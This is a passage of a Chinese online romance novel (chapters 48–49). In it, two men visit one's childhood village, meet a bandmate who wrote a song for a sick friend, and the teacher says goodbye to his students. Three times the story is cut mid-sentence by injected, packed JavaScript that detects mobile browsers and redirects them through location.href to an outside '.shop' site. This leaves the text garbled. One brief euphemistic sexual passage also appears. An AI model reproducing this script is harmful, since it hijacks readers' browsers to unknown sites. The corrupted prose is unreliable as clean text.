稍晚些时候李萤心起来和俞沅一起吃了东西,倒是也没什么不适,让俞沅松了一口气。两个人挤在一起重温《海上钢琴师》,电影中马克斯讲完故事换回了他的小号走进没有尽头的小巷,现实中属于李萤心和俞沅的新年第一天也结束了。 李萤心第三遍看这电影了,看完还是眼眶湿润,俞沅一下一下地轻拍着他的背。 缓了一会儿,李萤心问俞沅明天有没有什么想去的地方,俞沅说都行。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14209907|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >俞沅接下来几天没别的事,还能在鲤州待几天,李萤心也还有两天假期。 李萤心想了想,提议说:“要不明天和我去我小时候住的乡下看看吧……哦对了,你之前落我这儿的一些书啊羽毛球拍什么的,我之前还说给你寄呢,你信息都不回我一个,后来我全收拾回老家放着了。” 俞沅说:“我那时候觉得你好无情。” “其实我那时候应该也有想着借要给你寄东西的机会和你重修旧好一下,我记得那之前好像我们就都没讲话了。”李萤心顿了顿,“谁知道你是这么解读的。” 俞沅:“还是太幼稚了。” “还是太幼稚了,”李萤心复读完又说,“还是直接点好。” 俞沅也复读:“还是直接点好。” 李萤心:“别学我说话。” 俞沅:“只许州官放火?” 李萤心:“对。” 俞沅:“好吧。” 李萤心又说:“其实我也有东西落在你那儿了,不过不用还了。” 俞沅:“什么?” 李萤心还没回答是落了什么东西在俞沅那,就先自己哈哈笑了起来,笑了好一会儿才说:“我把我的心落在你那儿了……”说完自己尴尬起来,又疯狂自我吐槽,“我的天我怎么想到这么土的东西。” 俞沅愣了下:“其实还真有。” “嗯……?” 俞沅拿起手机,屏保已经变成他光明正大拍的李萤心,照片里的李萤心歪着头眯着眼笑,对着镜头比树杈。他把手机翻过来,拆下藏青色的手机壳,从里面抖落出三片用撕下来的笔记本纸折成的爱心,边缘看起来已经有些磨损了。 “有印象吗?”俞沅问,“我上大一的时候,上公共课,你非要过来一起上,上得又很无聊,就在那一边偷偷玩手机搜教程折纸爱心。” 李萤心努力回想,最后如实告知:“不记得了。” “下课的时候你说‘我的心就送你了,你要好好珍惜啊’,”俞沅说,“……我从那时候珍惜到了现在。” 48.第四十八章 假期第二天睡到自然醒,下午,李萤心和俞沅驱车五十几分钟到了鲤州所辖县城里的一个小村落,和已经被开发成旅游景点的一些古村不同,他老家的这个村子因为更偏僻些,基本还没被商业化,也没有太多游人光顾,不过风貌倒是大差不差。 还是俞沅开车,李萤心在车上眯了会儿,听到导航说左拐进入某条路的时候他撩开眼皮看车窗外,跟俞沅说好像快到了。 进村的路口修了座崭新的牌坊,李萤心说:“晚上这牌坊亮灯金碧辉煌的,小时候没这个,现在你开的这条路以前也是土路,这都后来村里的出去外面打拼发迹之后捐钱修的。” 开进村里之后导航不太好使了,李萤心当了一小会儿人肉导航,指挥着俞沅拐来拐去,但马上他就放弃了,一来是觉得越进里面路越窄不好开,二则是路过了一些建筑,想给俞沅介绍一下。 于是两人决定把车停在宽敞一点的路边,下来走着回老厝,就当散步了。 村里小路很安静,偶尔会看见零星几个年纪大些的人坐在自家门边晒太阳聊天。李萤心说:“我小时候村子里比现在热闹,路上都有小孩追来追去玩,现在可能青壮年都出去打工,发展得好也把家人接出去,留在村里的人少了很多。” “你也会跟别的小孩追来追去玩吗?”俞沅问。 “会啊,”李萤心点头,“我是孩子王。” 说着李萤心指着前方一个上坡路:“就这里,没记错的话我应该还在这个地方摔过,手掌膝盖全摔烂了,但好像因为在和别的小孩比谁跑得快吧,还乐颠颠地立刻爬起来飞奔,回去被阿嬷骂了才知道哭,哈哈哈。” 李萤心是觉得好笑才说的,谁知俞沅忽然停了下来,李萤心“嗯?”了一声,俞沅先捏了捏他的手心,又蹲下去轻轻摸了下他的膝盖。 再站起来的时候,俞沅用哄小孩子的语气对李萤心说:“痛痛飞走了。” 李萤心顿住,一时不知道要说什么好,下意识抬手摸了摸自己发烫的耳朵。本来他正在喋喋不休,现在变得沉默,往前走了几步,李萤心把手递到俞沅面前:“牵吗?这里反正没什么人。” 俞沅握住李萤心的手,将两个人的手一起塞到他的外套口袋里。 李萤心重新开始说话:“不过我也没有在村子里待很久啦,上初中的时候附近其实有中学可以上,阿公阿嬷虽然也不太懂,但是朴素地觉得县里面的学校会比较好,我们就搬过去了,只有放寒暑假的时候会回来……然后我学钢琴也是那时候学的,我说想学这个,老人家也没什么意见就让我去学了。” 以前俞沅就听李萤心说过他家里的事,他口中的阿公阿嬷实际上是外公外婆,他还说过他其实是跟阿嬷姓的,因为阿嬷觉得“你爸你妈都不像人,抛家弃子,你不要跟他们姓”,阿公据理力争“那跟我姓”,阿嬷说“跟你姓不就是跟你女儿姓,不要”。 说是这样说,阿嬷临走前——李萤心的妈妈——也是阿嬷的女儿回来陪护,阿嬷其实也对女儿说:“一码归一码,丢下孩子就跑没有责任心,但我知道你有你的苦,遇人不淑搭上青春,阿妈是心疼的,也不想让孩子绑住你。心心在我们这里长得很好,以后也能自己独立生活,你们各人过好各人的就行了,当普通亲戚走动,不要互相纠缠,有钱给他多打点。” 当时说起这事,似乎是李萤心在解释自己为什么经常花钱不眨眼地买琴,他说因为他爸他妈都会给他打很多钱。 李萤心从来没对他爸妈做出过什么评价,只是提到的时候会说一句人总是很复杂的,然后就接受了一切。 他好像总是能很坦然地接受一切。 俞沅把口袋里李萤心的手握得更紧了些,一路走李萤心一路给俞沅讲解:讲他们这边喜欢用红砖,但还有些更靠海的村子用生蚝的壳搭房子,还把小贝壳贴墙上;看见些不中不洋的小楼,李萤心说那个叫番仔楼,以前的人下南洋讨生活,赚到钱了荣归故里就会起这种中西合璧的房子,屋檐下的小鱼叫滴水兽,是用来排雨水的…… 他们走到一个大概可以称之为广场的地方,除了零星有一两个人骑单车从这里路过,完全没人待在这儿。广场的一头是一座宫庙和一座祠堂,另一头是一个戏台。李萤心带着俞沅进去拜拜,再出来的时候说:“我小时候就在这里看戏的,大人从家里搬长凳坐在后面看,小孩子就在前面跑来跑去……其实戏是演给祖先或者庙里的神明看的,我们只是沾光跟着看看。” 俞沅想象一个豆丁大小的李萤心扒在戏台前,看不懂台上在演什么但是非常捧场地胡乱喝彩。对比自己乏善可陈的童年,他说:“我小时候的生活都挺乏味的,就是一直待在房间里写作业,写完作业就看课外书,世界未解之谜什么的。” 李萤心:“要是我那时候认识你,我就天天把你叫出来玩。” 踱步到正空置着的戏台前,李萤心感叹了一句:“小时候觉得这台子好高啊……欸等一下。” 李萤心看见旁边有个自助点歌台,不知道是不是为了丰富村民的精神生活而安装的设备,李萤心把手从俞沅兜里抽出来,跑过去,发现它正在运行中。 “扫码唱歌,一首歌二十五块八,真的是抢钱,谁会在这点歌?”李萤心这么说着还是扫了,“感觉雅兴大发,我给你展示一下我的歌喉。” 俞沅在旁边看李萤心鼓捣,半天终于点上了歌,李萤心有点不好意思地拿着麦说“喂喂喂”,又咳了几声,轻快的复古迪斯科风格的前奏响了起来。 李萤心点了一首叫《欢喜就好》的闽南歌。 “人生海海/甘需要拢了解(人生海海,哪里需要都去了解) 有时仔清醒/有时轻彩(有时清醒有时随便) 有人讲好/一定有人讲歹(有人说好就一定有人说坏) 若麦想吓多/咱生活卡自在(如果不想那么多,我们生活更自在)……” 俞沅坐在李萤心旁边的小凳上,仰着头看他,面前当他唯一的听众,一边轻轻地拍着手,也不知道是在打拍子还是在鼓掌。 不过俞沅这唯一的听众只短暂地当了一会儿,因为很快就有附近的村民听到声音过来凑热闹了,刚才还空无一人的广场陆陆续续来了好几个人。 李萤心在这儿点歌唱歌本就是一时兴起,下午近黄昏的点钟也不怕扰民,反正机器开着就证明这个时间可以唱。即便唱歌不是他的强项,但是只要是个舞台,他就能享受,所以一开始有人围观他的时候他还跟人家招手。 直到看见有人掏出手机对着他,他突然想到了什么,把话筒塞回点歌机,拉起俞沅绕过一头雾水的围观之人飞奔,可以说是落荒而逃。 跑的时候带起了一阵风,一月份的南方沿海,风拍到脸上也并不凛冽。 跑了一小段路离刚才那广场远了,李萤心才松开俞沅的手停下来,稍弯着腰手撑在膝盖上,两人对视一眼,李萤心开始一边喘一边笑起来。 俞沅呼吸也不太稳,问:“怎么突然跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14233500|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?” 李萤心:“看到有人要录像,怕把你录进去了……我那歌才唱了一半,亏了十二块九!” 俞沅:“我赔你吧。”说着也要拿出手机开始转账。 李萤心:“那也不用吧,我还担心我唱得太难听你要我赔你钱。”于是李萤心也给俞沅转账,并且备注精神损失费。 俞沅给李萤心转完红包,抬头说:“很好听啊。” 李萤心也把手机收起来,边说边往前走:“你滤镜太厚。” 俞沅跟在他后面:“我认真的。” 大约走了十来分钟,走出民居密集的地方,走过一片田间,到了一处孤零零远离其他房子的三间张老厝。 李萤心说:“这就是我小时候的家了……哎呀,其实我以前觉得从家里到戏台那段路特别遥远来着,原来只要走这么一会儿啊。” …… 进门以后李萤心先让俞沅对着阿公阿嬷的遗像和神台拜拜,跟他们说这是自己喜欢的人;随后带俞沅看了一下他小时候的房间,墙上还贴着满面奖状;照惯例打扫了一下卫生,说了些童年趣事……最后也没把俞沅当初留下来的东西翻出来,因为李萤心其实不记得是放在这边还是放在县里的房子了。 这趟旅程其实来去匆匆,因为是下午才回来的,李萤心也没空再去拜访什么亲戚朋友,收拾完就要回去了。 回程路上,李萤心对俞沅说:“谢谢你今天陪我回来。” 俞沅有点惊讶:“我才想说谢谢哥。” 李萤心问:“啊?你谢我什么?” 俞沅:“因为我很想知道你的所有事情,你让我知道了,所以我就想谢谢你。” 李萤心笑说:“日子长着呢,你想知道什么都会知道的。” 俞沅也问:“那你谢我什么?” 李萤心说:“我以前回来都是直奔家里,整理一下东西,和阿公阿嬷说一下话,坐着发会呆,顶多去看望一下还留在这里的老姑老婶什么的,没有像今天这样慢悠悠地逛过小时候常去的地方……就是忽然在想,小时候觉得很高的台子很远的路,其实也就那样。小时候遇到的难题,现在也能轻易解开。 “就感觉……好像也没什么好怕的,等再过几年再回看现在的担忧,应该也会觉得不值一提。” 俞沅很敏锐地捕捉到了李萤心话中的关键词:“所以现在还是会怕吗?” 李萤心迟疑了一会儿,还是“嗯”了一声:“心里没底嘛。” 车子经过一个十字路口,等待绿灯亮起的途中,俞沅手搭在方向盘上,转过头去看了李萤心一眼,重新目视前方:“也许以后会觉得曾经的难题不算难题,但当下会烦恼会怕也不是假的,人没法请来以后更成熟的自己来解决现在的问题……不过没关系,有什么困难我们都可以一起面对。 “我也有很多怕和迷茫的东西,但是想到你在我身边,我就有很多勇气……希望我也可以给你勇气。” 红灯转绿灯,车子继续行进。 李萤心没答俞沅的话:“还有多久能回到我公寓来着?” “半小时吧,”俞沅问,“怎么了?” 李萤心盯着俞沅的侧脸看:“你实在太讨人喜欢了,我要亲死你。” 俞沅:“……” 于是在遵守交通规则的前提下,俞沅只花了二十分钟狂飙回去。 刚开到地库停好车,眼看四下无人,俞沅解开安全带把李萤心捞过来,两人就在车里亲了个爽。 49.第四十九章 假期第三天,两人约陈悦出来吃了个饭,在日料店的包厢。 前一阵陈悦把歌写出来了,歌名叫《愿你》,旋律偏流行,编的吉他riff也比较简单。 歌词同样朗朗上口,副歌唱着“你发红的脸像你滚烫的心,你难挨的夜终将迎来天明,愿你拂去尘埃光芒万丈,愿你剪去枯叶欣欣向荣”,bridge的部分引用了一句博尔赫斯《短歌》里的一句诗——“人生岁月不哀戚,还有梦境与黎明”。 一开始陈悦只想把这首歌写给和他网聊的那个女孩,后来觉得如果这样的歌也能鼓励到其他也在和病魔抗争的人那就更好了。 基于此,李萤心拿到旋律开始做其他部分编曲的时候也特意没有搞些太复杂的设计,能将力量直接地传递到听众心里是最重要的。 万事俱备只差录音,但如果按他们规划的录制专辑的时间来未免有点晚,俞沅让陈悦先自己录个吉他弹唱版的送给人家听。 陈悦说这不算提前泄露demo吗?俞沅说本来就是给特定的人听的,为了什么所谓不泄密或者宣传需要刻意拖着才是本末倒置。 陈悦又说其实是他没什么勇气把歌发送过去,总觉得会不会太冒犯,会不会其实他只是在做一件令自我感动的事。 李萤心当时说,她是生病了也有些自卑没错,但也别把人家想得那么脆弱吧,说白了如果她是个健康人你还会这么小心翼翼犹犹豫豫吗?把她当一个寻常的朋友,大大方方地传递自己的关心就好了,有些人的压力来源反而是周围人过分谨慎小心的态度。 俞沅想了想,也表示认同。 陈悦没说这事的后续,这次他们几个碰面,吃着聊着,陈悦又说起来了这事。 “我后来想了想觉得李水晶说得有道理,就去跟她坦白,说加她聊天那个小号是我——结果她说她猜到了。”陈悦说,“她还跟我道歉,说那时候刚确诊太慌了,不知道该怎么办又怕被嫌弃,所以就把我删了。” 李萤心专心听着,夹到碟子里的甜虾都忘了吃,问:“然后呢?” 陈悦:“我说她这什么用词,我还有资格嫌弃别人呢?我还跟她说我去了解过她的那种病了,红斑狼疮,年轻女性容易得,可能了解得比较浅薄,但是看很多人说坚持吃药是能控制住的,希望她加油,什么时候想约我出来玩只要我有空都可以奉陪。 “然后歌我发给她听了。她说挺好听的,也很开心……应该吧,她说她不一定能做到每时每刻都那么乐观,但一定积极治疗好好生活。” 李萤心松了一口气,终于重新开始吃东西,俞沅也在旁边说:“那就好。” 陈悦:“她还说等我们要演出的时候她要去抢票。” 李萤心:“挺好啊,到时候你们不就能在演出现场面基了。” “才不是,她根本没有很想见我,”陈悦翻了个白眼,“我跟她说了其实我是夜这星的吉他手,她搜了一下之后发了一条巨激动的语音过来。” 陈悦模仿着那个女孩子说话:“她就说‘卧槽是俞沅以前的乐队啊,我要听俞沅的现场啊啊啊啊’,我说你不是不追三次元明星吗,她说‘可是他唱歌真的很好听音色也很特别欸,我可以从现在开始追’,我真服了,然后才说‘要是你们有演出,我就去看俞沅,顺便再看一下你吧,不看也行’。” 三次元明星俞沅:“……那就,谢谢她了?” 李萤心:“哈哈哈哈哈。” 其实她大概率只是难为情,故意这样说,她最想见的当然是陈悦,大家也都心照不宣。 假期第四天……没有第四天,放完元旦假,李萤心继续兢兢业业地在人民教师的岗位上度过最后一段时光。 俞沅在鲤州又留了几天,每天像个贤夫一样提前发信息问李萤心要吃什么,然后洗手做羹汤。之前和李萤心一起去食堂当饭搭子的老师被连着鸽了两天之后开玩笑问他都去吃什么好吃的了,李萤心说对象来他这里了,每天给他做饭吃。 引得办公室一众老师又是道喜又是调侃,从不留情的李老师有对象了。 贤夫白天做饭,把李老师的嘴照顾得很好,晚上怕李老师累着,不敢有什么动作,但用嘴把小李老师照顾得也很好。李老师实在是太客气了,一直说什么“不要了不要了”,又被俞沅的热情所感动,到最后竟然泪涟涟的。 不过这样的时间毕竟有限,很快俞沅又要离开了。 李萤心和道别的时候安慰他:“今年过年比较早,寒假放得也早,等正式放假改完卷子我第一时间……” 俞沅眼神里满是期待:“第一时间来找我吗?” 李萤心摇了摇食指:“第一时间染头,你说染个什么颜色好?蓝灰色怎么样?” 俞沅:“……” 李萤心哈哈大笑:“第一时间找你帮我染头,行吗?” 俞沅:“还是找Tony吧,我怕我给你染坏了。” …… 很快期末考来了,考完之后对于学生来说学期就结束了,李萤心和以往每个学期末一样,布置假期任务,做假期安全教育。 不同的是这次除了往下发作业和卷子,他还给每个孩子发了一盒小零食——他自己一份一份包完借了个板车拉过来的,盒子里除了吃的,还有一张他写的小卡片,上面针对不同学生写了些各不一样的寄语,比如祝有目标的学生考上梦校,希望老是粗心的学生戒骄戒躁,愿有理想的学生坚持自我。 以前刚当老师的时候,所有的过来人都会说不用想着跟学生搞好关系,凶一点严厉一点更容易开展工作,说对学生太真情实感很容易换来失望。李萤心也一直跟学生们都保持着距离,甚至最开始的时候他还要对镜练表情管理,别人练怎么笑更好看,爱笑的李老师练怎么摆一副所有人欠他钱的脸。 可是现在……无所谓了,他可能不会再当老师了,流露一些真情也无妨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14244684|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。虽然上这破班经常被气个半死,但总体来说他觉得待在学校和青春洋溢的高中生待在一起挺好的,学校是个小小的乌托邦,大家的欲求没那么多,烦恼也没那么大,他虽然已经是个烦恼缠身的大人,但只要看见这些七八点钟的太阳,还是会被他们的朝气感染。 他把这些贴了学生名字标签的盒子发下去,引来一阵欢呼,有学生问为什么突然给他们发奖品,李萤心说:“你们这学期表现不错,鼓励一下你们,下学期继续加油。” 他暂时还没说他要走。 当然他不是跟每个学生都合得来,但是肯定是有比较喜欢他的学生,他不想说完以后有人围着他,搞出一些煽情场面,他原本就是一个过客,只不过更提前一点离开而已。 等晚点回到住处,他才在班群和家长群里说了自己下学期离职的事,留了一点时间让群里的人反应,说完提前叮嘱班长等下帮他把班群节奏带起来欢迎一下新老师,千万别在新老师进来之后还一直说他的事,交代完了再把新老师拉进班群里,自己退了群。 接着来自学生和部分家长的信息开始往上弹。 李萤心看见徐斐然也给他发了好多条信息刷屏。 徐斐然:莫??老师你怎么突然就走了!! 徐斐然:[裂开][裂开][裂开] 徐斐然:[大哭][大哭][大哭] 徐斐然:真的要走吗?? 徐斐然:你是不是要重新回乐队啦,如果是这样我会支持你的! 徐斐然:不对,就算不是重新回乐队,老师做什么我也都会支持的!!! 因为信息太多了,李萤心都还没有来得及回复。 隔了一会儿,他又看见徐斐然说:因为你是我老师,我都没有敢跟你说,觉得不合适。 徐斐然:其实我是想说,我踏马不是俞沅粉啊!!……你可能对我一点印象都没有,但我从初一就是你的粉丝了,水晶大人[大哭][大哭][大哭] 徐斐然:那时候我才小升初,我小姨带我去鹭州玩,还带我去看了演出,因为没什么人听(对不起)所以我们挤到了最前面,其实当时我根本听不懂而且觉得很害怕,但你可能是看见我在那愁眉苦脸的,蹲下来问我喜欢听什么,还让主唱唱了我以前喜欢听的口水歌让我没那么紧张了[大哭] 徐斐然:当时我就想这群奇装异服的哥哥们真是好人啊,果然人不可貌相…… 徐斐然:回去以后我就开始找你们的演出视频看,找你发在B站那些练习什么的来看,慢慢地觉得贝斯的声音真的好好听啊QAQ 徐斐然:我是因为受到你的影响才开始学贝斯的[大哭] 徐斐然:啊啊啊啊啊!! 然后徐斐然开始撤回,尴尬的是,前面近乎于小作文的内容因为发出的时间有点久,已经撤不回去。 而且就算能成功撤回……很不巧,李萤心也已经全看到了。